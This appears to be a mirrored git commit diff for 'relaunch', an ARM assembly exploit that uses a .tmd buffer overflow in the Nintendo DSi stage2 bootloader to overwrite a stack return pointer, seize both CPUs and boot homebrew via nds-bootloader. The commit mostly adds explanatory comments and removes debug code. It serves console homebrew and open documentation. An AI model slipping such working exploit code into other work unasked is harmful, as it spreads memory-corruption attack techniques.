mirror of
https://github.com/DesperateProgrammer/relaunch.git
synced 2025-06-18 22:55:45 -04:00
added more documentation within the code
cleaned up a little removed the delays/colored screens that were used to debug
This commit is contained in:
parent
bd48782914
commit
72f05cca16
221
relaunch.s
221
relaunch.s
@ -3,6 +3,65 @@
|
||||
|
||||
.syntax unified
|
||||
|
||||
################################################################################
|
||||
# #
|
||||
# Overview of the exploit: #
|
||||
# #
|
||||
# The DSi starts with a bootloader from ROM (stage1) that loads an #
|
||||
# encrypted stage2 bootloader from the eMMC chip inside the DSi #
|
||||
# #
|
||||
# This bootloader will locate and execute the nintendo app-launcher #
|
||||
# #
|
||||
# While the stage2 locates the app-launcher it checks the .tmd file in #
|
||||
# content folder for the launcher to find the app filename. #
|
||||
# #
|
||||
# This is done by retreiving the file length and then reading all of its #
|
||||
# bytes to a fixed address buffer without checking if the buffer csan hold #
|
||||
# all that data. #
|
||||
# #
|
||||
# This exploit utilizes the buffer overflow to change a structure located #
|
||||
# after the buffer to overwrite a return pointer on the stack. #
|
||||
# - See Section EXPLOIT near the end #
|
||||
# #
|
||||
# The execution on the arm9 then continues at Section Actual Payload #
|
||||
# #
|
||||
# To gain control of the arm7 from the arm9 we use the IWRAM Control #
|
||||
# - See section Gain control of ARM7 #
|
||||
# to capture the execution flow of the arm7 and jump to an arm7 payload #
|
||||
# - See section ARM7 Payload #
|
||||
# #
|
||||
# In the last step, the arm7 is made to execute nds-bootloader from VRAM #
|
||||
# while the arm9 waits in the original passme loop #
|
||||
# #
|
||||
# nds-bootloader then will do its thing and execute the configured .nds #
|
||||
# #
|
||||
################################################################################
|
||||
|
||||
@ Written by Tim 'MightyMax' Seidel, 2021
|
||||
@ Thank you to all the great ppl of the community that lead to understanding
|
||||
@ the DSi as we do now.
|
||||
@
|
||||
@ This code was written after learning, that the .tmd file could cause a buffer
|
||||
@ overflow. Unlaunch was not reverse engineered for this. It is likely unalunch
|
||||
@ uses the same exploit gadget, but it also could be a different one caused
|
||||
@ by the very same bug (there are multiple structures overwritten by the tmd)
|
||||
@
|
||||
@ The arm7 capture took me the most time. There possibly is an easier method
|
||||
@ but the IWRAM method works very relyable and even could be reversed, so that
|
||||
@ the stage2 could restart execution, if the .tmd length bug was patched
|
||||
@
|
||||
@ I chosed the easier way of just using the existing nds-bootloader from
|
||||
@ devkitPro
|
||||
@
|
||||
@ This code is to keep the knowledge open sourced. It is no 'product' or fully
|
||||
@ completed tool for your DSi. But such a product can be derived from this work.
|
||||
@
|
||||
@ Martin 'no$cash' Korth originally developed the unlaunch exploit and polished
|
||||
@ a very well tested and working tool to mod your DSi and shall be used if you
|
||||
@ wanted to use the unlaunch exploit for moddign the DSi.
|
||||
@ In case unlaunch will be gone some time. This source code would allow you to
|
||||
@ recreate something alike.
|
||||
|
||||
###############################
|
||||
# Constants #
|
||||
###############################
|
||||
@ -14,8 +73,11 @@
|
||||
.equ TMD_WRITEOFFSET ,0x00000078
|
||||
.equ TMD_WRITEPOINTER ,0x037F3878
|
||||
.equ TMD_STACKRETURN ,0x02FE3558
|
||||
.equ HWREG_BASE ,0x04000000
|
||||
.equ PALETTE_BASE ,0x05000000
|
||||
.equ PASSME_ADDRESS ,0x02FFFE04
|
||||
.equ PASSME_INSTRUCTION ,0xE59FF018
|
||||
.equ VRAM_ENTRY ,0x06000000
|
||||
.equ VRAM_LCDADDR ,0x06840000
|
||||
.equ MRAM_ADDRESS ,0x02000000
|
||||
|
||||
# The exploited code is arm32
|
||||
# We could make it return to thumb code but for simplicity all code within here
|
||||
@ -42,85 +104,52 @@ _start:
|
||||
# Fill until payload with AA #
|
||||
##############################
|
||||
|
||||
@ When filling we use a pattern that is easily
|
||||
@ recognizable. Clearly "AAAAAAAA" stands out in hex view
|
||||
|
||||
# .org (0x037f0000 - SECTIONBASE), 0xAA
|
||||
|
||||
##############################
|
||||
# ! Actual Payload ! #
|
||||
##############################
|
||||
|
||||
# This example payload was borowed from BrokenPit and modified
|
||||
# It will alternate the top screen between green and blue
|
||||
# with some delay between
|
||||
|
||||
setScreenColored:
|
||||
push {r0}
|
||||
mov r0, HWREG_BASE
|
||||
mov r1, #0
|
||||
str r1, [r0, #0x208]
|
||||
str r1, [r0, #0x210]
|
||||
ldr r2, [r0, #0x214]
|
||||
str r2, [r0, #0x214]
|
||||
mov r2, #(1<<16)
|
||||
str r2, [r0]
|
||||
str r1, [r0, #0x60]
|
||||
str r1, [r0, #0x6C] @ MASTER_BRIGHT FIX by Normmatt
|
||||
mov r0, PALETTE_BASE
|
||||
pop {r1}
|
||||
strh r1, [r0]
|
||||
bx lr
|
||||
|
||||
delay:
|
||||
mov r0, #0x00500000 @ time to wait
|
||||
delayloop:
|
||||
subs r0, r0, #1 @ subtract 1
|
||||
bne delayloop @ jump back if not zero
|
||||
bx lr @ return
|
||||
|
||||
|
||||
entry:
|
||||
BL captureARM7
|
||||
mainLoop:
|
||||
mov r0, #0xFC00
|
||||
BL setScreenColored
|
||||
BL delay
|
||||
mov r0, #0x03C0
|
||||
BL setScreenColored
|
||||
BL delay
|
||||
# B mainLoop
|
||||
ldr r0, passmeAddress
|
||||
|
||||
@ With the exploit we got control of the arm9 meaning it executes this code right
|
||||
@ now. But we do not have control of the arm7 running in IWRAM owe have no
|
||||
@ direct control to
|
||||
@ We change that and captur the arm7 execution
|
||||
|
||||
BL captureARM7 @ make the arm7 to execute the arm7 payload
|
||||
|
||||
@ Set up the passme loop. This was one of the first (or the very first?) exploit
|
||||
@ for the NDS using the loaded NDS header to create a loop that executes within
|
||||
@ this .nds file header.
|
||||
@ the nds-bootloader uses this loop to control the arm9 from within the arm7, by
|
||||
@ changing the arm9 entry point and the loop then branching to the new location
|
||||
|
||||
ldr r0, passmeAddress @ set up the passmeLoop
|
||||
ldr r1, passmeInstruction
|
||||
str r1, [r0]
|
||||
str r0, [r0, #0x20]
|
||||
mov r2, #0x02000000
|
||||
ldr r1, [r2, #4]
|
||||
str r1, [r2]
|
||||
|
||||
@ since we have the arm7 now in a loop (see the arm7 payload) we can control,
|
||||
@ we let it jump to the nds-bootloader in VRAM now by changing the branch target
|
||||
@ in the arm7 waiting loop
|
||||
mov r2, MRAM_ADDRESS
|
||||
ldr r1, [r2, (arm7PayloadWait - arm7PayloadStart) + 4]
|
||||
str r1, [r2, (arm7PayloadWait - arm7PayloadStart)]
|
||||
|
||||
@ and finally branching ourself to the passme loop. We are Done.
|
||||
@ nds-bootloader takes over!
|
||||
BX r0
|
||||
|
||||
|
||||
passmeAddress:
|
||||
.word 0x02FFFE04
|
||||
.word PASSME_ADDRESS
|
||||
passmeInstruction:
|
||||
.word 0xE59FF018
|
||||
.word PASSME_INSTRUCTION
|
||||
|
||||
##############################
|
||||
# Patches for the stag2 to #
|
||||
# run other DSi Paths #
|
||||
##############################
|
||||
|
||||
srlFilenameBuffer:
|
||||
.word 0x02ffdfc0
|
||||
|
||||
@ the following address points to the branch that resolves the filename to
|
||||
@ load by teh stage 2 bootloader. By replacing this with a NOP we could
|
||||
@ pass a srl file name to load from the payload
|
||||
|
||||
filenamePatchLocation:
|
||||
.word 0x037b8b74
|
||||
filenamePatchInstruction:
|
||||
B . + 4
|
||||
checkHeaderPatchLocation:
|
||||
.word 0x037b8bb8
|
||||
checkHeaderPatchInstruction:
|
||||
B . + 4
|
||||
|
||||
##############################
|
||||
# Gain control of ARM7 #
|
||||
@ -139,7 +168,7 @@ copyPayload:
|
||||
@ Copy arm7 and arm9 main ram payload to main ram
|
||||
adr r0, arm7PayloadStart
|
||||
adr r1, arm7PayloadEnd
|
||||
mov r2, #0x02000000
|
||||
mov r2, MRAM_ADDRESS
|
||||
copyPayloadLoop:
|
||||
ldr r3, [r0], #4
|
||||
str r3, [r2], #4
|
||||
@ -175,16 +204,6 @@ getWRAMPage:
|
||||
str r1,[r0]
|
||||
ldr r1, dataMBK5_ARM9Ctrl
|
||||
str r1,[r0, #4]
|
||||
backupData:
|
||||
@ Save the code that was on this page in main ram for later recovery
|
||||
mov r0, 0x8000
|
||||
mov r1, 0x03800000
|
||||
mov r2, 0x02100000
|
||||
backupLoop:
|
||||
ldr r3, [r1],#4
|
||||
str r3, [r2],#4
|
||||
subs r0, r0, #4
|
||||
bne backupLoop
|
||||
clearPage:
|
||||
@ Clear with B self (for now to see where we are)
|
||||
mov r0, 0x8000
|
||||
@ -205,21 +224,13 @@ postPage:
|
||||
str r1,[r0]
|
||||
str r2,[r0, #4]
|
||||
waitTillWeAreSureArm7IsCaptured:
|
||||
BL delay
|
||||
restoreBackup:
|
||||
ldr r0, addrMBK4
|
||||
ldr r1, dataMBK4_ARM9Ctrl
|
||||
str r1,[r0]
|
||||
ldr r1, dataMBK5_ARM9Ctrl
|
||||
str r1,[r0, #4]
|
||||
mov r0, 0x8000
|
||||
mov r1, 0x03800000
|
||||
mov r2, 0x02100000
|
||||
restoreLoop:
|
||||
ldr r3, [r2],#4
|
||||
str r3, [r1],#4
|
||||
subs r0, r0, #4
|
||||
bne restoreLoop
|
||||
ldr r0, passmeAddress
|
||||
mov r1, #0x80000000
|
||||
ldr r2, [r0, #-4]
|
||||
cmp r2, r1
|
||||
bne waitTillWeAreSureArm7IsCaptured
|
||||
mov r1, #0x00000000
|
||||
str r1, [r0, #-4]
|
||||
restoreOrigPages:
|
||||
ldr r0, addrMBK4
|
||||
ldr r1, dataMBK4_Restore
|
||||
@ -248,8 +259,6 @@ dataMBK5_Restore:
|
||||
.word 0x9D999591
|
||||
dataMBK8:
|
||||
.word 0x08803800
|
||||
codeBranchSelf:
|
||||
.word 0xEAFFFFFE
|
||||
regVRAMC:
|
||||
.word 0x04000242
|
||||
VRAMC_LCD:
|
||||
@ -257,10 +266,10 @@ VRAMC_LCD:
|
||||
VRAMC_ARM7:
|
||||
.word 0x00000082
|
||||
VRAMC_ADDR:
|
||||
.word 0x06840000
|
||||
.word VRAM_LCDADDR
|
||||
|
||||
nopSlide:
|
||||
mov r0, #0x02000000
|
||||
mov r0, MRAM_ADDRESS
|
||||
nopSlideEnd:
|
||||
BX r0
|
||||
|
||||
@ -268,18 +277,30 @@ nopSlideEnd:
|
||||
# ARM7 Payload #
|
||||
##############################
|
||||
|
||||
@ Create the passme loop and jump to it
|
||||
@ The arm7 payload is quite simple.
|
||||
@ We will flag a value, that we have entered the payload (so the arm9 knows for
|
||||
@ sure when to continue)
|
||||
@ and after that we will wait in a branch to self loop to wait for the arm9
|
||||
@ to tell us to continue by copying the following instruction over the branch
|
||||
|
||||
arm7PayloadStart:
|
||||
b .
|
||||
mov pc, #0x06000000
|
||||
ldr r0, passmeAddressArm7
|
||||
mov r1, #0x80000000
|
||||
str r1, [r0, #-4]
|
||||
arm7PayloadWait:
|
||||
b arm7PayloadWait
|
||||
mov pc, VRAM_ENTRY
|
||||
passmeAddressArm7:
|
||||
.word PASSME_ADDRESS
|
||||
arm7PayloadEnd:
|
||||
|
||||
@ We load the VRAM with the nds-bootloader code
|
||||
@ This code was generated with https://github.com/devkitPro/nds-bootloader
|
||||
@ using the compiler flag NO_DLDI to load the boot.nds from the DSi SD Card Slot
|
||||
|
||||
VRAMPayloadStart:
|
||||
.incbin "nds_bootloader.bin"
|
||||
VRAMPayloadEnd:
|
||||
B .
|
||||
|
||||
##############################
|
||||
# EXPLOIT #
|
||||
|
Loading…
Reference in New Issue
Block a user